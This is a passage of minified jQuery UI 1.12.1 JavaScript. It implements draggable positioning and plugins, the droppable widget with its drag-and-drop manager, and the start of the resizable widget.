            return this.relativeContainer = null, r.containment ? "window" === r.containment ? void(this.containment = [A(window).scrollLeft() - this.offset.relative.left - this.offset.parent.left, A(window).scrollTop() - this.offset.relative.top - this.offset.parent.top, A(window).scrollLeft() + A(window).width() - this.helperProportions.width - this.margins.left, A(window).scrollTop() + (A(window).height() || o.body.parentNode.scrollHeight) - this.helperProportions.height - this.margins.top]) : "document" === r.containment ? void(this.containment = [0, 0, A(o).width() - this.helperProportions.width - this.margins.left, (A(o).height() || o.body.parentNode.scrollHeight) - this.helperProportions.height - this.margins.top]) : r.containment.constructor === Array ? void(this.containment = r.containment) : ("parent" === r.containment && (r.containment = this.helper[0].parentNode), t = A(r.containment), void((i = t[0]) && (e = /(scroll|auto)/.test(t.css("overflow")), this.containment = [(parseInt(t.css("borderLeftWidth"), 10) || 0) + (parseInt(t.css("paddingLeft"), 10) || 0), (parseInt(t.css("borderTopWidth"), 10) || 0) + (parseInt(t.css("paddingTop"), 10) || 0), (e ? Math.max(i.scrollWidth, i.offsetWidth) : i.offsetWidth) - (parseInt(t.css("borderRightWidth"), 10) || 0) - (parseInt(t.css("paddingRight"), 10) || 0) - this.helperProportions.width - this.margins.left - this.margins.right, (e ? Math.max(i.scrollHeight, i.offsetHeight) : i.offsetHeight) - (parseInt(t.css("borderBottomWidth"), 10) || 0) - (parseInt(t.css("paddingBottom"), 10) || 0) - this.helperProportions.height - this.margins.top - this.margins.bottom], this.relativeContainer = t))) : void(this.containment = null)
        },
        _convertPositionTo: function(A, e) {
            e || (e = this.position);
            var t = "absolute" === A ? 1 : -1,
                i = this._isRootNode(this.scrollParent[0]);
            return {
                top: e.top + this.offset.relative.top * t + this.offset.parent.top * t - ("fixed" === this.cssPosition ? -this.offset.scroll.top : i ? 0 : this.offset.scroll.top) * t,
                left: e.left + this.offset.relative.left * t + this.offset.parent.left * t - ("fixed" === this.cssPosition ? -this.offset.scroll.left : i ? 0 : this.offset.scroll.left) * t
            }
        },
        _generatePosition: function(A, e) {
            var t, i, r, o, n = this.options,
                s = this._isRootNode(this.scrollParent[0]),
                a = A.pageX,
                I = A.pageY;
            return s && this.offset.scroll || (this.offset.scroll = {
                top: this.scrollParent.scrollTop(),
                left: this.scrollParent.scrollLeft()
            }), e && (this.containment && (this.relativeContainer ? (i = this.relativeContainer.offset(), t = [this.containment[0] + i.left, this.containment[1] + i.top, this.containment[2] + i.left, this.containment[3] + i.top]) : t = this.containment, A.pageX - this.offset.click.left < t[0] && (a = t[0] + this.offset.click.left), A.pageY - this.offset.click.top < t[1] && (I = t[1] + this.offset.click.top), A.pageX - this.offset.click.left > t[2] && (a = t[2] + this.offset.click.left), A.pageY - this.offset.click.top > t[3] && (I = t[3] + this.offset.click.top)), n.grid && (r = n.grid[1] ? this.originalPageY + Math.round((I - this.originalPageY) / n.grid[1]) * n.grid[1] : this.originalPageY, I = t ? r - this.offset.click.top >= t[1] || r - this.offset.click.top > t[3] ? r : r - this.offset.click.top >= t[1] ? r - n.grid[1] : r + n.grid[1] : r, o = n.grid[0] ? this.originalPageX + Math.round((a - this.originalPageX) / n.grid[0]) * n.grid[0] : this.originalPageX, a = t ? o - this.offset.click.left >= t[0] || o - this.offset.click.left > t[2] ? o : o - this.offset.click.left >= t[0] ? o - n.grid[0] : o + n.grid[0] : o), "y" === n.axis && (a = this.originalPageX), "x" === n.axis && (I = this.originalPageY)), {
                top: I - this.offset.click.top - this.offset.relative.top - this.offset.parent.top + ("fixed" === this.cssPosition ? -this.offset.scroll.top : s ? 0 : this.offset.scroll.top),
                left: a - this.offset.click.left - this.offset.relative.left - this.offset.parent.left + ("fixed" === this.cssPosition ? -this.offset.scroll.left : s ? 0 : this.offset.scroll.left)
            }
        },
        _clear: function() {
            this._removeClass(this.helper, "ui-draggable-dragging"), this.helper[0] === this.element[0] || this.cancelHelperRemoval || this.helper.remove(), this.helper = null, this.cancelHelperRemoval = !1, this.destroyOnClear && this.destroy()
        },
        _trigger: function(e, t, i) {
            return i = i || this._uiHash(), A.ui.plugin.call(this, e, [t, i, this], !0), /^(drag|start|stop)/.test(e) && (this.positionAbs = this._convertPositionTo("absolute"), i.offset = this.positionAbs), A.Widget.prototype._trigger.call(this, e, t, i)
        },
        plugins: {},
        _uiHash: function() {
            return {
                helper: this.helper,
                position: this.position,
                originalPosition: this.originalPosition,
                offset: this.positionAbs
            }
        }
    }), A.ui.plugin.add("draggable", "connectToSortable", {
        start: function(e, t, i) {
            var r = A.extend({}, t, {
                item: i.element
            });
            i.sortables = [], A(i.options.connectToSortable).each(function() {
                var t = A(this).sortable("instance");
                t && !t.options.disabled && (i.sortables.push(t), t.refreshPositions(), t._trigger("activate", e, r))
            })
        },
        stop: function(e, t, i) {
            var r = A.extend({}, t, {
                item: i.element
            });
            i.cancelHelperRemoval = !1, A.each(i.sortables, function() {
                var A = this;
                A.isOver ? (A.isOver = 0, i.cancelHelperRemoval = !0, A.cancelHelperRemoval = !1, A._storedCSS = {
                    position: A.placeholder.css("position"),
                    top: A.placeholder.css("top"),
                    left: A.placeholder.css("left")
                }, A._mouseStop(e), A.options.helper = A.options._helper) : (A.cancelHelperRemoval = !0, A._trigger("deactivate", e, r))
            })
        },
        drag: function(e, t, i) {
            A.each(i.sortables, function() {
                var r = !1,
                    o = this;
                o.positionAbs = i.positionAbs, o.helperProportions = i.helperProportions, o.offset.click = i.offset.click, o._intersectsWith(o.containerCache) && (r = !0, A.each(i.sortables, function() {
                    return this.positionAbs = i.positionAbs, this.helperProportions = i.helperProportions, this.offset.click = i.offset.click, this !== o && this._intersectsWith(this.containerCache) && A.contains(o.element[0], this.element[0]) && (r = !1), r
                })), r ? (o.isOver || (o.isOver = 1, i._parent = t.helper.parent(), o.currentItem = t.helper.appendTo(o.element).data("ui-sortable-item", !0), o.options._helper = o.options.helper, o.options.helper = function() {
                    return t.helper[0]
                }, e.target = o.currentItem[0], o._mouseCapture(e, !0), o._mouseStart(e, !0, !0), o.offset.click.top = i.offset.click.top, o.offset.click.left = i.offset.click.left, o.offset.parent.left -= i.offset.parent.left - o.offset.parent.left, o.offset.parent.top -= i.offset.parent.top - o.offset.parent.top, i._trigger("toSortable", e), i.dropped = o.element, A.each(i.sortables, function() {
                    this.refreshPositions()
                }), i.currentItem = i.element, o.fromOutside = i), o.currentItem && (o._mouseDrag(e), t.position = o.position)) : o.isOver && (o.isOver = 0, o.cancelHelperRemoval = !0, o.options._revert = o.options.revert, o.options.revert = !1, o._trigger("out", e, o._uiHash(o)), o._mouseStop(e, !0), o.options.revert = o.options._revert, o.options.helper = o.options._helper, o.placeholder && o.placeholder.remove(), t.helper.appendTo(i._parent), i._refreshOffsets(e), t.position = i._generatePosition(e, !0), i._trigger("fromSortable", e), i.dropped = !1, A.each(i.sortables, function() {
                    this.refreshPositions()
                }))
            })
        }
    }), A.ui.plugin.add("draggable", "cursor", {
        start: function(e, t, i) {
            var r = A("body"),
                o = i.options;
            r.css("cursor") && (o._cursor = r.css("cursor")), r.css("cursor", o.cursor)
        },
        stop: function(e, t, i) {
            var r = i.options;
            r._cursor && A("body").css("cursor", r._cursor)
        }
    }), A.ui.plugin.add("draggable", "opacity", {
        start: function(e, t, i) {
            var r = A(t.helper),
                o = i.options;
            r.css("opacity") && (o._opacity = r.css("opacity")), r.css("opacity", o.opacity)
        },
        stop: function(e, t, i) {
            var r = i.options;
            r._opacity && A(t.helper).css("opacity", r._opacity)
        }
    }), A.ui.plugin.add("draggable", "scroll", {
        start: function(A, e, t) {
            t.scrollParentNotHidden || (t.scrollParentNotHidden = t.helper.scrollParent(!1)), t.scrollParentNotHidden[0] !== t.document[0] && "HTML" !== t.scrollParentNotHidden[0].tagName && (t.overflowOffset = t.scrollParentNotHidden.offset())
        },
        drag: function(e, t, i) {
            var r = i.options,
                o = !1,
                n = i.scrollParentNotHidden[0],
                s = i.document[0];
            n !== s && "HTML" !== n.tagName ? (r.axis && "x" === r.axis || (i.overflowOffset.top + n.offsetHeight - e.pageY < r.scrollSensitivity ? n.scrollTop = o = n.scrollTop + r.scrollSpeed : e.pageY - i.overflowOffset.top < r.scrollSensitivity && (n.scrollTop = o = n.scrollTop - r.scrollSpeed)), r.axis && "y" === r.axis || (i.overflowOffset.left + n.offsetWidth - e.pageX < r.scrollSensitivity ? n.scrollLeft = o = n.scrollLeft + r.scrollSpeed : e.pageX - i.overflowOffset.left < r.scrollSensitivity && (n.scrollLeft = o = n.scrollLeft - r.scrollSpeed))) : (r.axis && "x" === r.axis || (e.pageY - A(s).scrollTop() < r.scrollSensitivity ? o = A(s).scrollTop(A(s).scrollTop() - r.scrollSpeed) : A(window).height() - (e.pageY - A(s).scrollTop()) < r.scrollSensitivity && (o = A(s).scrollTop(A(s).scrollTop() + r.scrollSpeed))), r.axis && "y" === r.axis || (e.pageX - A(s).scrollLeft() < r.scrollSensitivity ? o = A(s).scrollLeft(A(s).scrollLeft() - r.scrollSpeed) : A(window).width() - (e.pageX - A(s).scrollLeft()) < r.scrollSensitivity && (o = A(s).scrollLeft(A(s).scrollLeft() + r.scrollSpeed)))), !1 !== o && A.ui.ddmanager && !r.dropBehaviour && A.ui.ddmanager.prepareOffsets(i, e)
        }
    }), A.ui.plugin.add("draggable", "snap", {
        start: function(e, t, i) {
            var r = i.options;
            i.snapElements = [], A(r.snap.constructor !== String ? r.snap.items || ":data(ui-draggable)" : r.snap).each(function() {
                var e = A(this),
                    t = e.offset();
                this !== i.element[0] && i.snapElements.push({
                    item: this,
                    width: e.outerWidth(),
                    height: e.outerHeight(),
                    top: t.top,
                    left: t.left
                })
            })
        },
        drag: function(e, t, i) {
            var r, o, n, s, a, I, l, c, B, g, h = i.options,
                E = h.snapTolerance,
                u = t.offset.left,
                Q = u + i.helperProportions.width,
                d = t.offset.top,
                f = d + i.helperProportions.height;
            for (B = i.snapElements.length - 1; B >= 0; B--) a = i.snapElements[B].left - i.margins.left, I = a + i.snapElements[B].width, l = i.snapElements[B].top - i.margins.top, c = l + i.snapElements[B].height, a - E > Q || u > I + E || l - E > f || d > c + E || !A.contains(i.snapElements[B].item.ownerDocument, i.snapElements[B].item) ? (i.snapElements[B].snapping && i.options.snap.release && i.options.snap.release.call(i.element, e, A.extend(i._uiHash(), {
                snapItem: i.snapElements[B].item
            })), i.snapElements[B].snapping = !1) : ("inner" !== h.snapMode && (r = E >= Math.abs(l - f), o = E >= Math.abs(c - d), n = E >= Math.abs(a - Q), s = E >= Math.abs(I - u), r && (t.position.top = i._convertPositionTo("relative", {
                top: l - i.helperProportions.height,
                left: 0
            }).top), o && (t.position.top = i._convertPositionTo("relative", {
                top: c,
                left: 0
            }).top), n && (t.position.left = i._convertPositionTo("relative", {
                top: 0,
                left: a - i.helperProportions.width
            }).left), s && (t.position.left = i._convertPositionTo("relative", {
                top: 0,
                left: I
            }).left)), g = r || o || n || s, "outer" !== h.snapMode && (r = E >= Math.abs(l - d), o = E >= Math.abs(c - f), n = E >= Math.abs(a - u), s = E >= Math.abs(I - Q), r && (t.position.top = i._convertPositionTo("relative", {
                top: l,
                left: 0
            }).top), o && (t.position.top = i._convertPositionTo("relative", {
                top: c - i.helperProportions.height,
                left: 0
            }).top), n && (t.position.left = i._convertPositionTo("relative", {
                top: 0,
                left: a
            }).left), s && (t.position.left = i._convertPositionTo("relative", {
                top: 0,
                left: I - i.helperProportions.width
            }).left)), !i.snapElements[B].snapping && (r || o || n || s || g) && i.options.snap.snap && i.options.snap.snap.call(i.element, e, A.extend(i._uiHash(), {
                snapItem: i.snapElements[B].item
            })), i.snapElements[B].snapping = r || o || n || s || g)
        }
    }), A.ui.plugin.add("draggable", "stack", {
        start: function(e, t, i) {
            var r, o = i.options,
                n = A.makeArray(A(o.stack)).sort(function(e, t) {
                    return (parseInt(A(e).css("zIndex"), 10) || 0) - (parseInt(A(t).css("zIndex"), 10) || 0)
                });
            n.length && (r = parseInt(A(n[0]).css("zIndex"), 10) || 0, A(n).each(function(e) {
                A(this).css("zIndex", r + e)
            }), this.css("zIndex", r + n.length))
        }
    }), A.ui.plugin.add("draggable", "zIndex", {
        start: function(e, t, i) {
            var r = A(t.helper),
                o = i.options;
            r.css("zIndex") && (o._zIndex = r.css("zIndex")), r.css("zIndex", o.zIndex)
        },
        stop: function(e, t, i) {
            var r = i.options;
            r._zIndex && A(t.helper).css("zIndex", r._zIndex)
        }
    }), A.ui.draggable, A.widget("ui.droppable", {
        version: "1.12.1",
        widgetEventPrefix: "drop",
        options: {
            accept: "*",
            addClasses: !0,
            greedy: !1,
            scope: "default",
            tolerance: "intersect",
            activate: null,
            deactivate: null,
            drop: null,
            out: null,
            over: null
        },
        _create: function() {
            var e, t = this.options,
                i = t.accept;
            this.isover = !1, this.isout = !0, this.accept = A.isFunction(i) ? i : function(A) {
                return A.is(i)
            }, this.proportions = function() {
                return arguments.length ? void(e = arguments[0]) : e || (e = {
                    width: this.element[0].offsetWidth,
                    height: this.element[0].offsetHeight
                })
            }, this._addToManager(t.scope), t.addClasses && this._addClass("ui-droppable")
        },
        _addToManager: function(e) {
            A.ui.ddmanager.droppables[e] = A.ui.ddmanager.droppables[e] || [], A.ui.ddmanager.droppables[e].push(this)
        },
        _splice: function(A) {
            for (var e = 0; A.length > e; e++) A[e] === this && A.splice(e, 1)
        },
        _destroy: function() {
            var e = A.ui.ddmanager.droppables[this.options.scope];
            this._splice(e)
        },
        _setOption: function(e, t) {
            if ("accept" === e) this.accept = A.isFunction(t) ? t : function(A) {
                return A.is(t)
            };
            else if ("scope" === e) {
                var i = A.ui.ddmanager.droppables[this.options.scope];
                this._splice(i), this._addToManager(t)
            }
            this._super(e, t)
        },
        _activate: function(e) {
            var t = A.ui.ddmanager.current;
            this._addActiveClass(), t && this._trigger("activate", e, this.ui(t))
        },
        _deactivate: function(e) {
            var t = A.ui.ddmanager.current;
            this._removeActiveClass(), t && this._trigger("deactivate", e, this.ui(t))
        },
        _over: function(e) {
            var t = A.ui.ddmanager.current;
            t && (t.currentItem || t.element)[0] !== this.element[0] && this.accept.call(this.element[0], t.currentItem || t.element) && (this._addHoverClass(), this._trigger("over", e, this.ui(t)))
        },
        _out: function(e) {
            var t = A.ui.ddmanager.current;
            t && (t.currentItem || t.element)[0] !== this.element[0] && this.accept.call(this.element[0], t.currentItem || t.element) && (this._removeHoverClass(), this._trigger("out", e, this.ui(t)))
        },
        _drop: function(e, t) {
            var i = t || A.ui.ddmanager.current,
                r = !1;
            return !(!i || (i.currentItem || i.element)[0] === this.element[0]) && (this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function() {
                var t = A(this).droppable("instance");
                return t.options.greedy && !t.options.disabled && t.options.scope === i.options.scope && t.accept.call(t.element[0], i.currentItem || i.element) && c(i, A.extend(t, {
                    offset: t.element.offset()
                }), t.options.tolerance, e) ? (r = !0, !1) : void 0
            }), !r && (!!this.accept.call(this.element[0], i.currentItem || i.element) && (this._removeActiveClass(), this._removeHoverClass(), this._trigger("drop", e, this.ui(i)), this.element)))
        },
        ui: function(A) {
            return {
                draggable: A.currentItem || A.element,
                helper: A.helper,
                position: A.position,
                offset: A.positionAbs
            }
        },
        _addHoverClass: function() {
            this._addClass("ui-droppable-hover")
        },
        _removeHoverClass: function() {
            this._removeClass("ui-droppable-hover")
        },
        _addActiveClass: function() {
            this._addClass("ui-droppable-active")
        },
        _removeActiveClass: function() {
            this._removeClass("ui-droppable-active")
        }
    });
    var c = A.ui.intersect = function() {
        function A(A, e, t) {
            return A >= e && e + t > A
        }
        return function(e, t, i, r) {
            if (!t.offset) return !1;
            var o = (e.positionAbs || e.position.absolute).left + e.margins.left,
                n = (e.positionAbs || e.position.absolute).top + e.margins.top,
                s = o + e.helperProportions.width,
                a = n + e.helperProportions.height,
                I = t.offset.left,
                l = t.offset.top,
                c = I + t.proportions().width,
                B = l + t.proportions().height;
            switch (i) {
                case "fit":
                    return o >= I && c >= s && n >= l && B >= a;
                case "intersect":
                    return o + e.helperProportions.width / 2 > I && c > s - e.helperProportions.width / 2 && n + e.helperProportions.height / 2 > l && B > a - e.helperProportions.height / 2;
                case "pointer":
                    return A(r.pageY, l, t.proportions().height) && A(r.pageX, I, t.proportions().width);
                case "touch":
                    return (n >= l && B >= n || a >= l && B >= a || l > n && a > B) && (o >= I && c >= o || s >= I && c >= s || I > o && s > c);
                default:
                    return !1
            }
        }
    }();
    A.ui.ddmanager = {
        current: null,
        droppables: {
            default: []
        },
        prepareOffsets: function(e, t) {
            var i, r, o = A.ui.ddmanager.droppables[e.options.scope] || [],
                n = t ? t.type : null,
                s = (e.currentItem || e.element).find(":data(ui-droppable)").addBack();
            A: for (i = 0; o.length > i; i++)
                if (!(o[i].options.disabled || e && !o[i].accept.call(o[i].element[0], e.currentItem || e.element))) {
                    for (r = 0; s.length > r; r++)
                        if (s[r] === o[i].element[0]) {
                            o[i].proportions().height = 0;
                            continue A
                        }
                    o[i].visible = "none" !== o[i].element.css("display"), o[i].visible && ("mousedown" === n && o[i]._activate.call(o[i], t), o[i].offset = o[i].element.offset(), o[i].proportions({
                        width: o[i].element[0].offsetWidth,
                        height: o[i].element[0].offsetHeight
                    }))
                }
        },
        drop: function(e, t) {
            var i = !1;
            return A.each((A.ui.ddmanager.droppables[e.options.scope] || []).slice(), function() {
                this.options && (!this.options.disabled && this.visible && c(e, this, this.options.tolerance, t) && (i = this._drop.call(this, t) || i), !this.options.disabled && this.visible && this.accept.call(this.element[0], e.currentItem || e.element) && (this.isout = !0, this.isover = !1, this._deactivate.call(this, t)))
            }), i
        },
        dragStart: function(e, t) {
            e.element.parentsUntil("body").on("scroll.droppable", function() {
                e.options.refreshPositions || A.ui.ddmanager.prepareOffsets(e, t)
            })
        },
        drag: function(e, t) {
            e.options.refreshPositions && A.ui.ddmanager.prepareOffsets(e, t), A.each(A.ui.ddmanager.droppables[e.options.scope] || [], function() {
                if (!this.options.disabled && !this.greedyChild && this.visible) {
                    var i, r, o, n = c(e, this, this.options.tolerance, t),
                        s = !n && this.isover ? "isout" : n && !this.isover ? "isover" : null;
                    s && (this.options.greedy && (r = this.options.scope, o = this.element.parents(":data(ui-droppable)").filter(function() {
                        return A(this).droppable("instance").options.scope === r
                    }), o.length && (i = A(o[0]).droppable("instance"), i.greedyChild = "isover" === s)), i && "isover" === s && (i.isover = !1, i.isout = !0, i._out.call(i, t)), this[s] = !0, this["isout" === s ? "isover" : "isout"] = !1, this["isover" === s ? "_over" : "_out"].call(this, t), i && "isout" === s && (i.isout = !1, i.isover = !0, i._over.call(i, t)))
                }
            })
        },
        dragStop: function(e, t) {
            e.element.parentsUntil("body").off("scroll.droppable"), e.options.refreshPositions || A.ui.ddmanager.prepareOffsets(e, t)
        }
    }, !1 !== A.uiBackCompat && A.widget("ui.droppable", A.ui.droppable, {
        options: {
            hoverClass: !1,
            activeClass: !1
        },
        _addActiveClass: function() {
            this._super(), this.options.activeClass && this.element.addClass(this.options.activeClass)
        },
        _removeActiveClass: function() {
            this._super(), this.options.activeClass && this.element.removeClass(this.options.activeClass)
        },
        _addHoverClass: function() {
            this._super(), this.options.hoverClass && this.element.addClass(this.options.hoverClass)
        },
        _removeHoverClass: function() {
            this._super(), this.options.hoverClass && this.element.removeClass(this.options.hoverClass)
        }
    }), A.ui.droppable, A.widget("ui.resizable", A.ui.mouse, {
        version: "1.12.1",
        widgetEventPrefix: "resize",
        options: {
            alsoResize: !1,
            animate: !1,
            animateDuration: "slow",
            animateEasing: "swing",
            aspectRatio: !1,
            autoHide: !1,
            classes: {
                "ui-resizable-se": "ui-icon ui-icon-gripsmall-diagonal-se"
            },
            containment: !1,
            ghost: !1,
            grid: !1,
            handles: "e,s,se",
            helper: !1,
            maxHeight: null,
            maxWidth: null,
            minHeight: 10,
            minWidth: 10,
            zIndex: 90,
            resize: null,
            start: null,
            stop: null
        },
        _num: function(A) {
            return parseFloat(A) || 0
        },
        _isNumber: function(A) {
            return !isNaN(parseFloat(A))
        },
        _hasScroll: function(e, t) {
            if ("hidden" === A(e).css("overflow")) return !1;
            var i = t && "left" === t ? "scrollLeft" : "scrollTop",
                r = !1;
            return e[i] > 0 || (e[i] = 1, r = e[i] > 0, e[i] = 0, r)
        },
        _create: function() {
            var e, t = this.options,
                i = this;
            this._addClass("ui-resizable"), A.extend(this, {
                _aspectRatio: !!t.aspectRatio,
                aspectRatio: t.aspectRatio,
                originalElement: this.element,
                _proportionallyResizeElements: [],
                _helper: t.helper || t.ghost || t.animate ? t.helper || "ui-resizable-helper" : null
            }), this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i) && (this.element.wrap(A("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({
                position: this.element.css("position"),
                width: this.element.outerWidth(),
                height: this.element.outerHeight(),
                top: this.element.css("top"),
                left: this.element.css("left")
            })), this.element = this.element.parent().data("ui-resizable", this.element.resizable("instance")), this.elementIsWrapper = !0, e = {
                marginTop: this.originalElement.css("marginTop"),
                marginRight: this.originalElement.css("marginRight"),
                marginBottom: this.originalElement.css("marginBottom"),
                marginLeft: this.originalElement.css("marginLeft")
            }, this.element.css(e), this.originalElement.css("margin", 0), this.originalResizeStyle = this.originalElement.css("resize"), this.originalElement.css("resize", "none"), this._proportionallyResizeElements.push(this.originalElement.css({
                position: "static",
                zoom: 1,
                display: "block"
            })), this.originalElement.css(e), this._proportionallyResize()), this._setupHandles(), t.autoHide && A(this.element).on("mouseenter", function() {
                t.disabled || (i._removeClass("ui-resizable-autohide"), i._handles.show())
            }).on("mouseleave", function() {
                t.disabled || i.resizing || (i._addClass("ui-resizable-autohide"), i._handles.hide())
            }), this._mouseInit()
        },
        _destroy: function() {
            this._mouseDestroy();
            var e, t = function(e) {
                A(e).removeData("resizable").removeData("ui-resizable").off(".resizable").find(".ui-resizable-handle").remove()
            };
            return this.elementIsWrapper && (t(this.element), e = this.element, this.originalElement.css({
                position: e.css("position"),
                width: e.outerWidth(),
                height: e.outerHeight(),
                top: e.css("top"),
                left: e.css("left")
            }).insertAfter(e), e.remove()), this.originalElement.css("resize", this.originalResizeStyle), t(this.originalElement), this
        },
        _setOption: function(A, e) {
            switch (this._super(A, e), A) {
                case "handles":
                    this._removeHandles(), this._setupHandles()
            }
        },
        _setupHandles: function() {
            var e, t, i, r, o, n = this.options,
                s = this;
            if (this.handles = n.handles || (A(".ui-resizable-handle", this.element).length ? {
                    n: ".ui-resizable-n",
                    e: ".ui-resizable-e",
                    s: ".ui-resizable-s",
                    w: ".ui-resizable-w",
                    se: ".ui-resizable-se",
                    sw: ".ui-resizable-sw",
                    ne: ".ui-resizable-ne",
                    nw: ".ui-resizable-nw"
                } : "e,s,se"), this._handles = A(), this.handles.constructor === String)
                for ("all" === this.handles && (this.handles = "n,e,s,w,se,sw,ne,nw"), i = this.handles.split(","), this.handles = {}, t = 0; i.length > t; t++) e = A.trim(i[t]), r = "ui-resizable-" + e, o = A("<div>"), this._addClass(o, "ui-resizable-handle " + r), o.css({
                    zIndex: n.zIndex
                }), this.handles[e] = ".ui-resizable-" + e, this.element.append(o);
            this._renderAxis = function(e) {
                var t, i, r, o;
                e = e || this.element;
                for (t in this.handles) this.handles[t].constructor === String ? this.handles[t] = this.element.children(this.handles[t]).first().show() : (this.handles[t].jquery || this.handles[t].nodeType) && (this.handles[t] = A(this.handles[t]), this._on(this.handles[t], {
                    mousedown: s._mouseDown
                })), this.elementIsWrapper && this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i) && (i = A(this.handles[t], this.element), o = /sw|ne|nw|se|n|s/.test(t) ? i.outerHeight() : i.outerWidth(), r = ["padding", /ne|nw|n/.test(t) ? "Top" : /se|sw|s/.test(t) ? "Bottom" : /^e$/.test(t) ? "Right" : "Left"].join(""), e.css(r, o), this._proportionallyResize()), this._handles = this._handles.add(this.handles[t])
            }, this._renderAxis(this.element), this._handles = this._handles.add(this.element.find(".ui-resizable-handle")), this._handles.disableSelection(), this._handles.on("mouseover", function() {
                s.resizing || (this.className && (o = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)), s.axis = o && o[1] ? o[1] : "se")
            }), n.autoHide && (this._handles.hide(), this._addClass("ui-resizable-autohide"))
        },
        _removeHandles: function() {
            this._handles.remove()
        },
        _mouseCapture: function(e) {
            var t, i, r = !1;
            for (t in this.handles)((i = A(this.handles[t])[0]) === e.target || A.contains(i, e.target)) && (r = !0);
            return !this.options.disabled && r
        },
        _mouseStart: function(e) {
            var t, i, r, o = this.options,
                n = this.element;
            return this.resizing = !0, this._renderProxy(), t = this._num(this.helper.css("left")), i = this._num(this.helper.css("top")), o.containment && (t += A(o.containment).scrollLeft() || 0, i += A(o.containment).scrollTop() || 0), this.offset = this.helper.offset(), this.position = {
                left: t,
                top: i
            }, this.size = this._helper ? {
                width: this.helper.width(),
                height: this.helper.height()
            } : {
                width: n.width(),
                height: n.height()
            }, this.originalSize = this._helper ? {
                width: n.outerWidth(),
                height: n.outerHeight()
            } : {
                width: n.width(),
                height: n.height()
            }, this.sizeDiff = {
                width: n.outerWidth() - n.width(),
                height: n.outerHeight() - n.height()
            }, this.originalPosition = {
                left: t,
                top: i
            }, this.originalMousePosition = {
                left: e.pageX,
                top: e.pageY
            }, this.aspectRatio = "number" == typeof o.aspectRatio ? o.aspectRatio : this.originalSize.width / this.originalSize.height || 1, r = A(".ui-resizable-" + this.axis).css("cursor"), A("body").css("cursor", "auto" === r ? this.axis + "-resize" : r), this._addClass("ui-resizable-resizing"), this._propagate("start", e), !0
        },
        _mouseDrag: function(e) {
            var t, i, r = this.originalMousePosition,
                o = this.axis,
                n = e.pageX - r.left || 0,
                s = e.pageY - r.top || 0,
                a = this._change[o];
            return this._updatePrevProperties(), !!a && (t = a.apply(this, [e, n, s]), this._updateVirtualBoundaries(e.shiftKey), (this._aspectRatio || e.shiftKey) && (t = this._updateRatio(t, e)), t = this._respectSize(t, e), this._updateCache(t), this._propagate("resize", e), i = this._applyChanges(), !this._helper && this._proportionallyResizeElements.length && this._proportionallyResize(), A.isEmptyObject(i) || (this._updatePrevProperties(), this._trigger("resize", e, this.ui()), this._applyChanges()), !1)
        },
        _mouseStop: function(e) {
            this.resizing = !1;
            var t, i, r, o, n, s, a, I = this.options,
                l = this;
            return this._helper && (t = this._proportionallyResizeElements, i = t.length && /textarea/i.test(t[0].nodeName), r = i && this._hasScroll(t[0], "left") ? 0 : l.sizeDiff.height, o = i ? 0 : l.sizeDiff.width, n = {
                width: l.helper.width() - o,
                height: l.helper.height() - r
            }, s = parseFloat(l.element.css("left")) + (l.position.left - l.originalPosition.left) || null, a = parseFloat(l.element.css("top")) + (l.position.top - l.originalPosition.top) || null, I.animate || this.element.css(A.extend(n, {
                top: a,
                left: s
            })), l.helper.height(l.size.height), l.helper.width(l.size.width), this._helper && !I.animate && this._proportionallyResize()), A("body").css("cursor", "auto"), this._removeClass("ui-resizable-resizing"), this._propagate("stop", e), this._helper && this.helper.remove(), !1
        },
        _updatePrevProperties: function() {
            this.prevPosition = {
                top: this.position.top,
                left: this.position.left
            }, this.prevSize = {
                width: this.size.width,
                height: this.size.height
            }
        },
        _applyChanges: function() {
            var A = {};
            return this.position.top !== this.prevPosition.top && (A.top = this.position.top + "px"), this.position.left !== this.prevPosition.left && (A.left = this.position.left + "px"), this.size.width !== this.prevSize.width && (A.width = this.size.width + "px"), this.size.height !== this.prevSize.height && (A.height = this.size.height + "px"), this.helper.css(A), A
        },
        _updateVirtualBoundaries: function(A) {
            var e, t, i, r, o, n = this.options;
            o = {
                minWidth: this._isNumber(n.minWidth) ? n.minWidth : 0,
                maxWidth: this._isNumber(n.maxWidth) ? n.maxWidth : 1 / 0,
                minHeight: this._isNumber(n.minHeight) ? n.minHeight : 0,
                maxHeight: this._isNumber(n.maxHeight) ? n.maxHeight : 1 / 0
            }, (this._aspectRatio || A) && (e = o.minHeight * this.aspectRatio, i = o.minWidth / this.aspectRatio, t = o.maxHeight * this.aspectRatio, r = o.maxWidth / this.aspectRatio, e > o.minWidth && (o.minWidth = e), i > o.minHeight && (o.minHeight = i), o.maxWidth > t && (o.maxWidth = t), o.maxHeight > r && (o.maxHeight = r)), this._vBoundaries = o
        },
        _updateCache: function(A) {
            this.offset = this.helper.offset(), this._isNumber(A.left) && (this.position.left = A.left), this._isNumber(A.top) && (this.position.top = A.top), this._isNumber(A.height) && (this.size.height = A.height), this._isNumber(A.width) && (this.size.width = A.width)
        },
        _updateRatio: function(A) {
            var e = this.position,
                t = this.size,
                i = this.axis;
            return this._isNumber(A.height) ? A.width = A.height * this.aspectRatio : this._isNumber(A.width) && (A.height = A.width / this.aspectRatio), "sw" === i && (A.left = e.left + (t.width - A.width), A.top = null), "nw" === i && (A.top = e.top + (t.height - A.height), A.left = e.left + (t.width - A.width)), A
        },
        _respectSize: function(A) {
            var e = this._vBoundaries,
                t = this.axis,
                i = this._isNumber(A.width) && e.maxWidth && e.maxWidth < A.width,
                r = this._isNumber(A.height) && e.maxHeight && e.maxHeight < A.height,
                o = this._isNumber(A.width) && e.minWidth && e.minWidth > A.width,
                n = this._isNumber(A.height) && e.minHeight && e.minHeight > A.height,
                s = this.originalPosition.left + this.originalSize.width,
                a = this.originalPosition.top + this.originalSize.height,
                I = /sw|nw|w/.test(t),
                l = /nw|ne|n/.test(t);
            return o && (A.width = e.minWidth), n && (A.height = e.minHeight), i && (A.width = e.maxWidth), r && (A.height = e.maxHeight), o && I && (A.left = s - e.minWidth), i && I && (A.left = s - e.maxWidth), n && l && (A.top = a - e.minHeight), r && l && (A.top = a - e.maxHeight), A.width || A.height || A.left || !A.top ? A.width || A.height || A.top || !A.left || (A.left = null) : A.top = null, A
        },
        _getPaddingPlusBorderDimensions: function(A) {
